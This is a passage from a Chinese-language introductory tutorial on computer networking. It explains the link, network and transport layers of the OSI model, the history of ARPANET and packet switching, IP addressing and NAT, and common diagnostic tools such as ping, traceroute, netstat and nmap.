物理介质的传输,可能受到环境的影响。这种影响不仅仅体现为“噪声”,有时候会出现严重的干扰,导致物理层传输的“比特流”出错(某个比特“从0变1”或“从1变0”)。因此,链路层还需要负责检查物理层的传输是否出错。在 IT 行话中,检测是否出错,称之为“差错控制机制”(后面有一个小节会简单说一下这个话题)。
3. 流量控制
假设两个端点通过同一个物理信道进行通讯,这两个端点处理信息的速度可能不同。如果发送方输出信息的速度超过接收方处理信息的速度,通讯就会出问题。于是就需要有某种机制来协调,确保发送方的发送速度不会超出接收方的处理速度。在技术行话中,这称之为“流量控制”,简称“流控”。
4. 信道复用
在上一个章节已经讲到:用于远距离通讯的“物理介质”,总是有成本。因此需要对物理信道进行“多路复用”,就会导致多个端点共用同一个物理信道。如果同时存在多个发送者和多个接收者。接收者如何知道某个信息是发给自己而不是别人?
另外,某些物理介质可能不支持并发(无法同时发送信息)。某些物理介质可能是【半双工】,所有这些物理层的限制,都使得“多路复用”变得复杂。为了解决这些问题,链路层需要提供了某种相应的机制(协议),术语叫做“介质访问控制”(洋文是“Media Access Control”,简称 MAC)。后续小节会聊它。
为了发现传输的信息是否出错,设计了很多相应的数学算法。这些算法大体分为两类:“检错算法 & 纠错算法”。
简而言之,“检错算法”只能检测出错误,而“纠错算法”不但能检测出错误,还能纠正错误。很显然,“纠错算法”更牛逼,但是它也更复杂。
常见的“检错算法”对传输的数据计算出一个【校验值】,接收方收到数据会重新计算校验和,如果算出来不对,就把收到的数据丢弃,让对方重发。“校验算法”的原理类似于《扫盲文件完整性校验——关于散列值和数字签名》一文中提到的“散列算法/哈希算法”。
“纠错算法”更高级,由于涉及到更多数学,俺就不展开啦。
对于【无线】物理信道,由于出错的概率更高,并且重新传输数据的成本也更高。所以【无线】通讯的链路层协议,更倾向于用【纠错】机制;作为对比,【有线】通讯的链路层协议,更倾向于用【检错】机制。
“MAC 协议”用来确保对下层物理介质的使用,不会出现冲突。为了形象,俺拿“铁路系统”来比喻,说明“MAC 协议”的用途。
假设有一条【单轨】铁路连接 A/B 两地。有很多火车想从 A 开到 B,同时还有很多火车想从 B 开到 A。
首先,要确保不发生撞车(如果已经有车在 A 开往 B 的途中,那么 B 就不能再发车);其次,即使是同一个方向的车,出发时间也要错开一个时间间隔。
所有这些协调工作,都是靠“MAC 协议”来搞定。
为了完成上述任务,光有“MAC 协议”还不够,还需要为每一个端点引入【惟一的】标识。这个标识就称作“MAC 地址”。
通俗地说,每个网卡都内置了一个“MAC 地址”。这个地址是网卡在出厂的时候就已经设置好的,并且用某种机制确保该地址【全球唯一】。
如何保证 MAC 地址全球唯一捏?简单说一下:
MAC 地址包含6个字节(48个比特),分为两半。第一部分称作【OUI】,OUI 的24个比特中,其中2个比特有特殊含义,其它22个比特,用来作为网卡厂商的唯一编号。这个编号由国际组织 IEEE 统一分配。
MAC 地址第二部分的24比特,由网卡厂商自己决定如何分配。每个厂商只要确保自己生产的网卡,后面这24比特是唯一的,就行啦。
由于俺在很多安全教程中鼓吹大伙儿使用“操作系统虚拟机”,再顺便说说【虚拟网卡】的 MAC 地址。
“虚拟网卡”是由【虚拟化软件】创建滴。IEEE 也给每个虚拟化软件的厂商(含开源社区)分配了唯一的 OUI。因此,虚拟化软件在创建“虚拟网卡”时,会使用自己的 OUI 生成前面24个比特;后面的24比特,会采用某种算法使之尽可能【随机化】。由于“2的24次方”很大(224 = 16777216),碰巧一样的概率很低。
(注:如果手工修改 MAC 地址,故意把两块网卡的 MAC 地址搞成一样,那确实就做不到唯一性了。并且会导致链路层的通讯出问题)
链路层的协议主要有如下:
MAC 协议(介质访问控制)
LLC 协议(逻辑链路控制)
ARP 协议(解析 MAC 地址)
IEEE 802.3(以太网)
IEEE 802.11 的一部分(Wi-Fi)
PPP 协议(拨号上网)
SLIP 协议(拨号上网)
......
(考虑到篇幅)俺不可能具体细聊这些协议,只是贴出每个的维基百科链接,感兴趣的同学自己点进去看。
对于电脑主机(含移动设备),“网卡硬件 & 网卡驱动”会包含链路层协议的实现(参见如下示意图)。
另外,还有一些专门的【2层】网络设备,也提供链路层的功能(参见下一个小节)。
1. 网络交换机(network switch)
(注:一般提到“网络交换机”,如果不加定语,指的就是“2层交换机”;此外还有更高层的交换机,在后续章节介绍)
为啥要有交换机捏?俺拿“以太网的发展史”来说事儿。
以太网刚诞生的时候,称之为“经典以太网”,电脑是通过【集线器】相连。“集线器”前面提到过,工作在【1层】(物理层),并不理解链路层的协议。因此,集线器的原理是【广播】模式——它从某个网线接口收到的数据,会复制 N 份,发送到其它【每个】网线接口。假设有4台电脑(A、B、C、D)都连在集线器上,A 发数据给 B,其实 C & D 也都收到 A 发出的数据。显然,这种工作模式很傻逼(低效)。由于“经典以太网”的工作模式才“10兆”,所以集线器虽然低效,还能忍受。
后来要发展“百兆以太网”,再用这种傻逼的广播模式,就不能忍啦。于是“经典以太网”就发展为“交换式以太网”。用【交换机】代替“集线器”。
交换机是工作在2层(链路层)的设备,能够理解链路层协议。当交换机从某个网线接口收到一份数据(链路层的“帧”),它可以识别出“链路帧”里面包含的目标地址(接收方的 MAC 地址),然后只把这份数据转发给“目标 MAC 地址相关的网线接口”。
由于交换机能识别2层协议,它不光比集线器的性能高,而且功能也强得多。比如(稍微高级点的)交换机可以实现“MAC 地址过滤、VLAN、QoS”等多种额外功能。
2. 网桥/桥接器(network bridge)
“交换机”通常用来连接【同一种】网络的设备。有时候,需要让两台不同网络类型的电脑相连,就会用到【网桥】。
下面以“操作系统虚拟机”来举例(完全没用过虚拟机的同学,请跳过这个举例)。
在这篇博文,俺介绍了虚拟机的几种“网卡模式”,其中有一种模式叫做【bridge 模式】。一旦设置了这种模式,Guest OS 的虚拟网卡,对于 Host OS 所在的外部网络,是【双向】可见滴。也就是说,物理主机所在的外部网络,也可以看见这块虚拟网卡。
现在,假设你的物理电脑(Host OS)只安装了【无线网卡】(WiFi),而虚拟化软件给 Guest OS 配置的通常是【以太网卡】。显然,这是两种【不同】的网络。为啥 Guest OS 的以太网卡设置为“bridge 模式”之后,外部 WiFi 网络可以看到它捏?
奥妙在于——虚拟化软件在内部悄悄地帮你实现了一个“网桥”。这个网桥把“Host OS 的 WiFi 网卡”与“Guest OS 的以太网卡”关联起来。WiFi 网卡收到了链路层数据之后,如果接收方的 MAC 地址对应的是 Guest OS,网桥会把这份数据丢给 Guest OS 的网卡。
这种网卡模式之所以称作“bridge 模式”,原因就在于此。
2. ARP 命令
首先,ARP 是“MAC 地址解析协议”的洋文名称。该协议根据“IP 地址”解析“MAC 地址”。
Windows 自带一个同名的 arp 命令,可以用来诊断与“MAC 地址”相关的信息。比如:列出当前子网中其它主机的 IP 地址以及对应的 MAC 地址。这个命令在 Linux & Mac OS 上也有。
(未完待续...)
基于【路由】的地址编码方式
链路层已经提供了某种全球唯一的地址编码方式(MAC 地址)。但“MAC 地址”有如下几个问题:
其一,它是固定的(虽然可以用技术手段去修改 MAC 地址,但很少这么干)
其二,MAC 地址的编码是基于【厂商】,无法体现网络拓扑结构。或者说,“MAC 地址”对于“路由机制”是不够友好滴。
因此,需要引入一种更抽象(更高层)的地址,也就是“网络层地址”。咱们常说的“IP 地址”,是“网络层地址”的实现方式之一。
为了帮你理解,举个例子:
每个人都有身份证号(这就类似于“MAC 地址”)。当某人加入了某个公司,公司会为此人再分配一个“员工号”(这就类似于“网络地址”)。既然有身份证号,为啥公司还要另搞一套“员工编号”捏?因为“员工编号”有额外的好处。比如说:可以把员工号划分为不同的区间,对应不同的部门。这样一来,只要看到员工号,就知道此人来自哪个部门。
类似道理,每个网卡都有自己固定的 MAC 地址,当这个网卡接入到不同的网络,每次都可以再分配不同的“网络地址”。通过“网络地址”可以看出这个网卡属于哪个网络(对路由比较方便)。
2. 网际互联(internetwork)
引入“网络层”的另一个目的是:屏蔽不同类型的网络之间的差异,从而有利于【网际互联】(也就是建立“网络的网络”)。
一般来说,要想联通【异种】网络,就要求每个网络中都有一台主机充当【网关】(gateway)。【网关】起到“中介/翻译”的作用——帮不同的网络翻译协议,使得不同的网络可以互相联通。
假设【没有】统一的网络层,网关的工作就很难做。就好比说:如果全球没有某种通用的自然语言,就需要培养非常多不同类型的翻译人才(假设有30种主要语言,任意两种互译,就需要几百种不同的翻译人才)。
反之,如果有了某种统一的网络层标准,问题就好办多了(还是假设有30种主要语言,只要选定某种作为通用语,然后培养29种翻译人才,就可以实现任意两种语言互译)。
如今的互联网时代,【IP 协议】就是那个充当统一标准的网络层协议。
网络的拓扑结构有很多种,有简单的,有复杂的。一般来说,再复杂的拓扑,也可以逐步分解为若干简单拓扑的组合。
对拓扑的研究,有专门一个数学分支(拓扑学)。考虑到本文只是扫盲,俺不可能再去聊“拓扑学”。因此,只挑几种简单的拓扑结构,让大伙儿有个直观的印象。
以下是几种常见的拓扑结构
如今的互联网,整体的拓扑结构超级复杂。但还是可以逐步分解为上述几种基本的拓扑结构。
上面那张图可以看出:互联网拓扑的【局部】有很多是“星形拓扑”(当然也有其它的)。但从【宏观】上看,更像是“网状拓扑”。
在现实生活中,对于复杂结构,通常都会采用“树状层次结构”,以便于管理。比如:域名系统、公司组织结构、官僚系统 ...... 那为啥互联网的【宏观】拓扑结构是“网状”捏?这就要说到互联网的历史。
在上世纪50年代(冷战高峰期),美国军方的指挥系统高度依赖于电信公司提供的电话网络。当时的电话网络大致如下——
在基层,每个地区有电话交换局,每一部电话都连入当地的交换局。
在全国,设有若干个长途局,每个交换局都接入某个特定的长途局(不同地区的交换局通过长途局中转)。
简而言之,当时美国的电话网络是典型的【多级星形拓扑】。这种拓扑的优点是:简单、高效、便于管理;但缺点是:健壮性很差。从这个案例中,大伙儿可以再次体会到“效率”与“健壮性”之间的矛盾。
话说1957年的时候,苏联成功试射第一颗洲际弹道导弹(ICBM),美国军方开始担心:一旦苏联先用洲际导弹攻击美国,只要把少数几个长途局轰掉,军方的指挥系统就会瘫痪。也就是说,“长途局”已经成为美国军方的【单点故障】(何为“单点故障”?参见这篇博文)。
1960年,美国国防部找来大名鼎鼎的兰德公司进行咨询,要求提供一个应对核打击的方案。该公司的研究员 Paul Baran 设计了一个方案,把“星形拓扑”改为【网状拓扑】。采用【网状拓扑】的好处在于:即使发生全面核大战,大量骨干节点被摧毁,整个网络也不会被分隔成几个孤岛,军方的指挥系统依然能正常运作。
有了兰德公司的方案,美国军方找到当时最大的电信公司 AT&T,想要实现这个系统,结果被否决了。AT&T 高层认为:搞这样一种系统根本不切实际。于是 Baran 的方案中途夭折。
为啥 AT&T 反对这个方案捏?一方面,成功的大公司总是有很强的思维定势(关于这点,参见这篇文章);另一方面,Baran 的设计方案确实很超前——其前瞻性不仅包括“拓扑结构”,而且把当时电信行业的几大核心观念完全颠覆掉了(具体如何颠覆,后续章节还会再聊)。
时间一晃又过了好多年,到了60年代末,由于一系列机缘巧合,英国佬发现了“Baran 方案”的价值,并据此搞了一个小型的 NPL 网络(NPL 是“国家物理实验室”的缩写)。然后在某次 ACM 会议上,美国佬看到英国佬的论文,才意识到:Baran 方案完全可行。经历了“出口转内销”的命运之后,该方案重新被美国国防部重视。之后,(国防部下属的)“高级计划研究局”(ARPA)开始筹建“阿帕网”(ARPANET),才有了如今的互联网。
聊完“拓扑”,再来聊“路由”。
当主机 A 向主机 B 发送网络层的数据时,大致会经历如下步骤:
1.
A 主机的协议栈先判断“A B 两个地址”是否在同一个子网(“子网掩码”就是用来干这事儿滴)。
如果是同一个子网,直接发给对方;如果不是同一个子网,发给本子网的【默认网关】。
(此处所说的“网关”指“3层网关/网络层网关”)
2.
对于“默认网关”,有可能自己就是路由器;也可能自己不是路由器,但与其它路由器相连。
也就是说,“默认网关”要么自己对数据包进行路由,要么丢给能进行路由的另一台设备。
(万一找不到能路由的设备,这个数据就被丢弃,于是网络通讯出错)
3.
当数据到达某个路由器之后,有如下几种可能——
3.1
该路由器正好是 B 所在子网的网关(与 B 直连),那就把数据包丢给 B,路由过程就结束啦;
3.2
亦或者,路由器会把数据包丢给另一个路由器(另一个路由器再丢给另一个路由器) ...... 如此循环往复,最终到达目的地 B。
3.3
还存在一种可能性:始终找不到“主机 B”(有可能该主机“断线 or 关机 or 根本不存在”)。为了避免数据包长时间在网络上闲逛,还需要引入某种【数据包存活机制】(洋文叫做“Time To Live”,简称 TTL)。
通常会采用某个整数(TTL 计数)表示数据包能活多久。当主机 A 发出这个数据包的时候,这个“TTL 计数”就已经设置好了。每当这个数据包被路由器转发一次,“TTL 记数”就减一。当 TTL 变为零,这个数据包就死了(被丢弃)。
对于某些大型的复杂网络(比如互联网),每个路由器可能与其它 N 个路由器相连(N 可能很大)。对于上述的 3.2 情形,它如何判断:该转发给谁捏?
这时候,“路由算法”就体现出价值啦——
一般来说,路由器内部会维护一张【路由表】。每当收到一个网络层的数据包,先取出数据包中的【目标地址】,然后去查这张路由表,看谁距离目标最近,就把数据包转发给谁。
上面这段话看起来好像很简单,其实路由算法挺复杂滴。考虑到本文是“扫盲性质”,而且篇幅已经很长,不可能再去聊“路由算法”的细节。对此感兴趣的同学,可以去看《计算机网络》的第5章。
技术菜鸟可以跳过这个小节)
由于互联网的 IP 协议已经成为“网络层协议”的事实标准,俺简单聊一下互联网的路由机制是如何进化滴。
第1阶段:静态全局路由表
(前面说了)互联网的前身是“阿帕网/ARPANET”。在阿帕网诞生初期(上世纪70年代),全球的主机很少。因此,早期的路由表很简单,既是“全局”滴,又是“静态”滴。简而言之,每个路由器内部都维护一张“全局路由表”,这个“路由表”包含了全球所有其它路由器的关联信息。每当来了一个数据包,查一下这张全局路由表,自然就清楚要转发给谁,才能最快到达目的地。
早期的阿帕网,主机的变化比较少,也很少增加路由器。每当出现一个新的路由器,其它路由器的管理员就手工编辑各自的“全局路由表”。
为了加深大伙儿印象,特意找来两张70年代初的阿帕网拓扑图(注:图中的 IMP 是“Interface Message Processor”的缩写,也就是如今所说的“路由器”)。
第2阶段:动态全局路由表
后来,“阿帕网/互联网”的规模猛增,路由器数量也跟着猛增,隔三差五都有新的路由器冒出来。再用“静态路由表”这种机制,(编辑路由表的)管理员会被活活累死。于是改用“动态路由表”,并引入某种“路由发现机制”。但“路由表”依然是【全局】滴。
第3阶段:动态分级路由表
再到后来,全球的路由器越来越多,成千上万,再搞“全局路由表”已经不太现实了——
一方面,“全局路由表”越来越大(查询的速度就越来越慢)
另一方面,由于互联网的流量越来越大,每来一个数据包都要查表,查询越来越频繁。
于是,路由器开始吃不消了。为了解决困境,想出一个新招数:引入“分级路由”(hierarchical routing)。所谓的“分级路由”就是:把整个互联网分为多个大区域,每个大区域内部再分小区域,小区域内部再分小小区域 ...... 看到这里,熟悉“数据结构与算法”的同学就会意识到——这相当于构造了一个【树状】层次结构。
有了这个层次结构,每个路由器重点关注:自己所在的那个最小化区域里面的网络拓扑。如此一来,每个路由器的“路由表”都会大幅度减小。
如果把互联网视作一个系统,每个公网上的路由器都是一个自适应的主体。假如某个地区的网络流量突然暴涨,骨干网路由器会自动分流;假如因为地震或战争,导致某个地区的骨干网路由器全部下线,周边地区的路由器也会自动避开这个区域 .....
所有这些工作,【不需要】依靠任何最高指挥中枢,去进行协调。
相反,如果互联网的路由系统中,设立了某种“中央委员会”进行实时调度,那互联网早就完蛋了,根本无法成长为今天这种规模。
(技术菜鸟可以跳过这个小节)
前面聊“互联网诞生”,说到兰德公司的“Baran 方案”。该方案对当时的电信系统提出几大革命性的变化,其中之一就是“分组交换”技术(也称“数据包交换”or“封包交换”)。
一般来说,网络层的设计有两种截然不同的风格:【电路交换 VS 分组交换】。有时候也分别称之为“有连接的网络层 VS 无连接的网络层”。此处所说的“连接”指的是某种“虚电路”(洋文叫做“virtual circuit”,简称 VC)。
要理解“虚电路”,首先要从老式的电话系统说起。
最早期的电话,既没有拨号盘也没有按键,全靠一张嘴。当你拿起电话,先告诉接线员你要打给谁,接线员会用一根跳接线,插入电话交换设备的某个插孔,从而把你的电话机与对方的电话机相连。于是建立了一条两人之间的电话通路,也就是“电路”。你可以把“接线员”想象成某种“人肉路由器” 😃
后来发明了“自动电话交换机”,导致“接线员”全体下岗。虽然自动化了,但原理还是一样——当你在电话上拨了某人的号码,电话局的交换机会自动选择一条线路。只有当这条线路建立起来,对方的电话才会响。一旦双方开始通话,双方之间的语音都是通过这条线路传输。并且这条线路是独占的——只要通话不挂断,这条线路就不会再分配给其他人使用。
前面提到“互联网诞生的历史”,当时军方推动的“Baran 方案”被 AT&T 断然拒绝。因为这个方案完全颠覆了传统的电话系统——
颠覆之1:把“模拟信号”颠覆为“数字信号”(这点比较好理解,俺就不解释了)
颠覆之2:把“星形拓扑”颠覆为“网状拓扑”(关于这点,前面的小节已经讨论了)
颠覆之3:把“电路交换”颠覆为“分组交换”(这就是本小节的重点)
为了帮大伙儿理解上述第3点,举个例子:
假设主机 A 要向主机 B 发送一大坨数据。因为数据太多,肯定要分成好几坨小一点的(分成多个数据包)。如何把这些数据包发送给对方捏?
“电路交换”的实现方式
在发送数据之前,要先建立连接通道(通过路由算法,找出 A & B 之间的某条通路)。这条通路就是所谓的“虚电路/VC”。一旦 VC 建立,每一个数据包都是从这条拓扑路径进行路由。
“分组交换”的实现方式
在发送数据之前,【不需要】建立通道,让每个数据包独立进行路由。这种情况下,这几个数据包可能会走【不同的】拓扑路径。因此,数据包到达的顺序与发送的顺序【不一定】相同。接收方收到所有数据包之后,还要自己进行排序。
当时的电话系统主要承载语音传输,“电路交换”显然性能更高。那为啥 Baran 的设计要采用“分组交换”捏?俺又要再次提到【效率 VS 健壮性】之间的矛盾与均衡。
对于“电路交换”,一旦建立连接,同一个连接的所有数据都走相同的路径(会经过完全相同的路由器)。也就是说,传输的过程中,如果某个路由器挂掉了(网络掉线 or 硬件当机 or 软件崩溃)。那么,该路由器正在处理的 N 个连接全都要报废。而“分组交换”则更加灵活——即使某个路由器挂掉了,后续的数据包会自动转向另外的路由器,损失很小。
“Baran 方案”之所以采用“分组交换”的设计,因为人家这个方案是提交给军方用来应对【全面核战争】滴,当然要考虑健壮性啦。
话说这两种交换机制,各有很多支持者,并分裂为两大阵营,分别是:“电信阵营 VS 互联网阵营”。两大阵营的口水战持续了 N 年,都无法说服对方。到了后来设计 OSI 模型的时候,为了保持中立性与通用性,OSI 模型本身并没有强制要求网络层采用哪一种风格。
经过几十年之后,咱们已经可以看出来:“互联网阵营”占据主导地位。如今,连电信系统都是架构在互联网之上。
网络层的协议有很多。由于“互联网”已经成为全球的事实标准,因此俺只列出属于“互联网协议族”的那些“网络层协议”:
IP 协议(含 IPv4 & IPv6)
ICMP
IGMP
IPSec
......
(考虑到篇幅)俺不可能具体细聊这些协议,只是贴出每个的维基百科链接,感兴趣的同学自己点进去看。
对上述这些协议,最重要的当然是 IP 协议。如果你想要深入了解 IP 协议,可以参考《TCP-IP 详解》。关于 IP 协议的书,此书的影响力最大。这本书共3卷,通常只需看第1卷。
对于电脑主机(含移动设备),网络层的协议实现通常包含在操作系统自带的网络模块中(也就是“操作系统协议栈”)。具体参见如下示意图。
另外,还有一些专门的【3层】网络设备,也提供网络层的功能(参见本章节的后续小节)。
当年设计阿帕网的时候,采用了【4字节】(32比特)来表示“网络层地址”(也就是 IP 地址)。
“IP 地址”的含义很重要,俺有必要解释一下:
咱们平时所说的 IP 地址,采用【点分十进制】来表示。就是把地址的4个字节,先翻译为十进制,然后每个字节用一个小数点分隔开(参见如下示意图):
“IP 地址”的32比特,分为两部分:第1部分用来标识【子网】,第2部分用来标识该子网中的【主机】。
这两部分各占用多少比特,是不确定的。在这种情况下,“操作系统协议栈”如何知道哪些比特标识“子网”,哪些比特标识“主机”捏?奥妙在于【子网掩码】。所以,大伙儿在给系统配置 IP 地址的时候,通常都需要再设置一个【子网掩码】,就这个用途。
前一个小节提到:IP地址包含【4字节】(32比特)。因此,最多只能表示【2的32次方】(42亿左右)的不同地址。考虑到还有很多地址保留给特殊用途,实际可用地址远远不到42亿。
到了如今,全球网民都已经几十亿了,IP 地址开始枯竭。咋办捏?为了解决这个问题,发展出若干技术手段。简单说一下最常见的几种手段:
1. IPv6
名气最大(最多人知道)的技术手段,大概是 IPv6 了。这招想要一劳永逸地解决地址枯竭的问题,采用了16字节(128比特)来表示 IP 地址。
设计 IPv6 的人自豪地宣称:即使给地球上的每一粒沙子分配一个 IPv6 地址,依然绰绰有余(确实没有吹牛,“2的128次方”是天文数字)。
但 IPv6 的缺点在于,【无法】向下兼容原有的 IP 协议(原有的协议叫“IPv4”)。IPv6 的普及一直比较慢,这是主要原因。
2. 代理服务器(proxy)
比如说,某个公司有100人,100台电脑。如果每台电脑都分配公网 IP 地址,就要消耗100个公网地址(太浪费啦)。
可以只申请一个公网 IP,然后在内网搞一个代理服务器,公网 IP 分配给它(代理服务器有两个网卡,一个接内网,一个接公网)。然后在其它电脑上设置代理,指向这台代理服务器,就都可以上外网啦。
3. 网络地址转换(NAT)
前面 proxy 那招有个缺点:内网的每台电脑里面的每个上网软件,都要单独设置代理。实在太麻烦啦!
后来就发明了某种更牛逼的招数——网络地址转换(洋文是“Network Address Translation”,简称 NAT)。
用了这招,还是只要申请一个公网 IP,分配给内网的网关(网关有两个网卡,一个接内网,一个接公网)。然后在内网的网关配置 NAT 功能,自动就可以让内网的每台电脑访问外网。
在这篇博文,俺介绍了虚拟机的几种“网卡模式”,其中有一种模式叫做【NAT 模式】,就是指这个玩意儿。
采用了 NAT 技术之后,可能会对某些应用软件(尤其是 P2P 类型的)造成兼容性问题,于是又发明了一些“NAT 穿透技术”(NAT traversal)。这类技术有好几种,如果有空的话,俺会单独写教程介绍。
4. 其它解决方法
关于“IPv4 地址空间耗尽”,解决方法肯定不止上面这几招。限于篇幅,就此打住。更多的讨论参见维基百科的“这个链接”。
1. 路由器(router)
(前面章节聊“路由原理”的时候,已经介绍过它;这里就不再浪费口水啦)
2. 3层交换机(Layer 3 switching)
“3层交换机”是在“2层交换机”的基础上,增加了对网络层的处理。因此,它可以做到类似路由器的效果——在几个子网之间转发数据。
与路由器的差别在于——“3层交换机”链接的几个子网是【同种】网络;而路由器可以连接【异种】网络。
从上面这句话看,“3层交换机”的能力显然不如“路由器”。既然已经有“路由器”,为啥还要发明“3层交换机”捏?这就要说到【单臂路由器】的弊端。
对于企业内网的“2层交换机”,通常都支持 VLAN 功能。通俗地说:可以在交换机中划分多个【虚拟子网】。其实这些子网的中所有的电脑,都还是接入这台交换机,只不过这些子网配置了不同的网络地址。对于同一个 VLAN 内部的通讯,“2层交换机”自己就可以搞定(只需要用到2层协议);但对于【跨】VLAN 主机之间的通讯,“2层交换机”就没戏啦(它没有路由功能)。因此,就必须在它旁边外加一个路由器,形成如下拓扑结构。在这个拓扑中,路由器只与单个设备(2层交换机)相连,所以称之为“单臂”。
请注意:如下示意图只画了两台电脑,位于两个 VLAN。实际上可能有很多个 VLAN,每个里面有几十台电脑。于是,交换机与路由器之间的传输通道就会成为瓶颈——【跨】VLAN 的任意两台电脑通讯,数据包都要到路由器那里兜一圈。为了消除这种瓶颈,才发明了“3层交换机”——把路由功能直接集成到交换机内部。
3. 无线热点(Wireless Access Point)
“无线热点”通常用来提供无线接入,使得某个【无线】设备能接入到某个【有线】网络中。一般来说,热点都内置了路由功能,那么它就是“无线路由器”,对应到“3层”(网络层)。反之,如果没有路由功能,它就是“网桥”,属于“2层”(链路层)。
1. ping
这个命令,很多人应该都知道。早在 Win9x 就有这个命令了。它使用(网络层的)ICMP 协议来测试某个远程主机是否可达。
提醒一下:
如果 ping 命令显示某个 IP 地址不可达,有很多种情况。比如说:
这个 IP 地址对应的主机已经关机
这个 IP 地址对应的主机已经断线
这个 IP 地址对应的主机拒绝响应 ICMP 协议
从你本机到这个 IP 地址之间,有某个防火墙拦截了 ICMP 协议
......
2. traceroute
这是一个通用的工具,用来测试路由。很早以前的 Windows 就已经内置了它,命令是 tracert。在 POSIX(Linux&UNIX)上通常叫 traceroute
你可以用这个命令,测试你本机与互联网另一台主机之间的路由(也就是:从你本机到对方主机,要经过哪些路由器)
屏蔽“有连接 or 无连接”的差异
(上一个章节提到)网络层本身已经屏蔽了【异种网络】的差异(比如“以太网、ATM、帧中继”之间的差异),而且网络层也屏蔽了路由的细节。但网络层本身还有一个差异,也就是网络层的两种交换技术:电路交换(有连接) VS 分组交换(无连接)。
前面章节也提到了:上述两种交换技术各有很多支持者,并分裂为两大阵营。当年设计 OSI 模型的时候,为了保持中立性与通用性,并没有强制规定“网络层”必须采用何种交换机制。
对于开发网络软件的程序员来说,当然不想操心“网络层用的是哪一种交换机制”。因此,需要对网络层的上述差异再加一个抽象层(也就是“传输层”)。
从“主机”到“进程”
前面介绍的“网络层”,其设计是面向主机(电脑)。“网络层地址”也就是某个主机的地址。
而“传输层”是面向【进程】滴!因为传输层要提供给【网络软件】使用,而网络软件打交道的对象是【另一个网络软件】。因此,传输层必须在“网络层地址”的基础上,再引入某种新的标识,用来区分同一台主机上的不同【进程】。
在 OSI 7层模型中,传输层正好居中。这是一个很特殊的位置。
OSI 模型最下面3层,与【网络设备】比较密切。这里面所说的“网络设备”,既包括那些独立的主机(比如“路由器、交换机、等”),也包括电脑上的硬件(比如“网卡”)。
OSI 模型最上面3层,与【网络软件】比较密切(或者说,与“用户的业务逻辑”比较密切)。
而中间的传输层,正好是承上启下。对于开发应用软件的程序猿/程序媛,“传输层”是他们能感知的最低一层。
刚才谈“传输层的必要性”,提到说——“网络层地址”只能标识【主机】,而传输层必须要能标识【进程】。为了达到这个目的,于是就引入了“传输层端口”这个概念(为了打字省力,后续讨论简称为“端口”)。
在 OSI 模型中,“端口”的官方称呼是“传输服务访问点”(洋文缩写 TSAP)。但是作为程序员,俺已经习惯于“端口”这个称呼。后续介绍依然用“端口”一词。
当程序员使用传输层提供的 API 开发网络软件时,通常把“端口”与“网络地址”一起使用(构成“二元组”),就可以定位到某个主机上的某个进程。
为了让程序员可以更爽地使用传输层来开发网络软件,传输层既要提供“有连接”的风格,也要提供“无连接”的风格。关于这两种风格的对比,前面已经聊过,这里不再浪费口水。
具体到“互联网协议族”,有两个主要的传输层实现,分别是 TCP & UDP(前者是“有连接”,后者是“无连接”)。
除了 TCP & UDP,“互联网协议族”还提供了其它一些传输层协议。因为比较冷门,俺就不介绍啦。
对于电脑主机(含移动设备),传输层的协议实现通常包含在操作系统自带的网络模块中(也就是“操作系统协议栈”)。具体参见如下示意图。
另外,还有一些专门的【4层】网络设备,也提供传输层的功能(参见后续的小节)。
前面说了:传输层是面向程序员(让他们可以更方便地开发网络软件)。因此,就需要提供一些封装传输层的【库】(API)。程序员只需要调用这些【库】,就可以使用传输层的协议进行通讯啦。
影响力最大的传输层封装库,当然是 socket API。它来自加州大学伯克利分校。
在互联网诞生初期,伯克利分校开发了一个 UNIX 操作系统的的变种,叫做“伯克利 UNIX 发行版”(BSD Unix),也就是如今 BSD 操作系统的前身。伯克利发行版内置了一套用来进行网络编程的 API,当时叫做“伯克利套接字”(Berkeley sockets)。由于这套 API 用起来很方便,很多其它的 UNIX 变种也移植了这套 API,于是就逐渐成了业界的事实标准。到了上世纪90年代,Windows & Linux 也都提供了这套 API。
2. 状态防火墙(stateful firewall)
网络防火墙分好几种,大部分属于这种。它能完全处理 TCP 协议的状态,显然它属于“4层”(传输层)。
1. netcat 家族——传输层的“瑞士军刀”
关于 netcat,俺已经写过一篇比较详细的教程:《扫盲 netcat(网猫)的 N 种用法——从“网络诊断”到“系统入侵”》。看完这篇教程,你肯定能体会它功能的强大——很多与 TCP/UDP 相关的事情,都可以用 netcat 搞定。
另外,netcat 还有很多衍生品(衍生的开源项目),构成一个丰富的 netcat 家族。在上述教程也有介绍。
2. netstat & ss
Windows 和 POSIX(Linux&UNIX)都有一个 netstat 命令,可以查看当前系统的 TCP/UDP 状态(包括当前系统开启了哪些监听端口)。
另外,Linux 上还有一个 ss 命令,功能更强(但这个命令在 Windows 上默认没有)
3. nmap
这是最著名的开源的扫描器,可以扫描远程主机监听了哪些传输层端口(注:前面提到的“netcat 家族”也可以干这事儿)
nmap 的功能很强,“端口扫描”只是其功能之一。
一不小心,这篇教程已经写了这么长。为了照顾那些有“阅读障碍”的读者,俺要稍微控制一下篇幅,就把 OSI 的【上三层】合在一起讨论。
前面的章节说过:【上三层】更接近于“网络软件”,对应的是应用软件的业务逻辑,因此俺统称为“业务层”。
注:有些书(比如《计算机网络》)会把 OSI 的上三层统称为“应用层”。由于 OSI 模型中本来就有一个“应用层”,俺认为这样容易搞混(尤其不利于技术菜鸟),所以另外起了一个“业务层”的名称。
业务层显然是必要滴。因为传输层位于操作系统,它不可能去了解网络软件的业务逻辑。为了让网络软件能够相互通讯,肯定要在传输层之上再定义更高层的协议。
问题在于:网络软件千奇百怪,其业务逻辑各不相同,因此,“业务层如何设计”,【无】一定之规。有些软件只用一个协议来搞定所有的业务逻辑(只有一层);有些软件会参考 OSI,把业务逻辑的协议分为三层;还有些软件可能会分出更多的层次。
再强调一下:业务层的协议如何分层,完全看具体的业务逻辑,不要生搬硬套任何现有的参考模型。
对于大部分读者来说,【没必要】花时间去了解 OSI 最上面三层之间的区别。你只需把最上面三层视作【一坨】——他们都是与网络软件的业务逻辑密切相关滴。
那么,哪些人需要详细了解“这三层的差异”捏?
如果你是个程序员,并且你正好是开发【网络】软件,俺建议你了解一下 OSI 模型的最上面三层,有助于你更深刻地思考某些网络协议的设计。所谓的“更深刻”指的是:你不能光停留在 WHAT 层面,要提升到 HOW 甚至 WHY 层面(参见《学习技术的三部曲:WHAT、HOW、WHY》)
业务层的协议非常多。即使光把各种协议的名称列出来,也很费劲。所以俺就偷懒一下,只点评几个特别重要的协议。
HTTP 协议
